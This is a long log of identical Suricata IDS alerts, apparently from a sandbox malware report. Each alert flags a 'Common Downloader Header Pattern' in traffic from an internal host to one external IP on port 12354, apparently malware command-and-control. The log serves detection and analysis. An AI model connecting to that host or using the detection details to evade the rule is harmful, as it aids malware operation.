Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50364 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50065 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50449 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50214 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50402 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50238 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50046 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49749 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50027 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49984 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50361 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50084 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50485 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50321 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50082 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50490 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50446 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50779 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51261 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50744 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51060 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50757 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:56115 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:55225 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:55674 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51327 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49735 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:61161 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49514 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:64785 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:60490 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:64443 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50681 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:58350 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51725 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:59607 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51995 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:52917 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:52442 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:53515 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:57119 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:54587 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:60268 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:52555 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:58627 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:60093 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:63144 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:57557 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:55506 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:57740 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:55847 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49502 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:61760 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:61933 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51515 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:54970 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:63685 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:56516 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:61955 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:64100 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49608 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49269 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:58458 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:52952 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:63631 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:58374 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:60101 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51005 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51001 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:55146 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:57052 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:61978 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:55172 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:63310 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:57031 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51520 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:53713 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:58760 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49935 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:59911 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:60290 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:56410 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51561 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:56820 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:56926 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:59127 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:52177 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50004 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:53568 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:60160 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:64986 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:53501 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50886 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51960 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:59030 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:62663 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:53106 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:64091 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:64710 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:62400 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:63969 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:53676 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:59300 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:53180 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:55327 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51400 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:54764 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:55046 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:57932 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:53259 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:62555 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:62721 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:58220 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:63579 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:56809 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:53335 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:55317 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:61026 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51129 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:61040 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49596 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:57838 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:53467 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49663 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51252 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:53400 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:64758 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:56948 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:59221 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49937 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50169 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:55162 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:64346 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:58788 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:56236 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51305 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:64703 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51479 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:61033 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51489 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:55407 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:61998 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51554 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:64289 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:55119 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:58198 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50957 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:58637 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:61703 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51116 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:55158 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:58926 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:61428 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:64219 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51209 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51271 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:53124 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51094 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:58015 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:62645 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:61174 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:60148 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49419 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:60744 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:64930 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:60620 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:62772 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:62886 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:64821 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:52265 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51355 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:64700 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51219 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50761 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:61997 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50693 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50643 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50972 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51298 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:51772 -> 107.163.241.204:12354
